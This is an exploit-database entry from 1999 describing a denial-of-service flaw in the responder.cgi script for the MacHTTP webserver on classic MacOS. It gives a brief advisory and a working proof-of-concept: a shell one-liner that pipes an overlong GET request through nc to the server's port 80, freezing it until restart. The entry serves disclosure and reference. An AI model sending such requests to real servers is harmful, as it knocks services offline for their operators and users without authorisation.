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John O'Fallon Responder.cgi 1.0 - Denial of Service

🗓️ 09 Apr 1999 00:00:00Reported by EpicType 
exploitdb
 exploitdb
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Denial of service vulnerability in responder.cgi causes MacHTTP webserver to freeze on large requests.

Code
source: https://www.securityfocus.com/bid/3155/info

responder.cgi' is a free CGI shell script, written in C, for MacHTTP Server and other MacOS webserver products.

It is possible to cause a denial of service to MacHTTP webserver due to improper bounds checking in the script 'responder.cgi'. HTTP GET requests with an excessive number of characters will cause the server to freeze.

The webserver will need to be restarted to regain normal functionality. 

$ echo "GET
/cgi-bin/responder.cgi?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" | nc
machttp-server.com 80 

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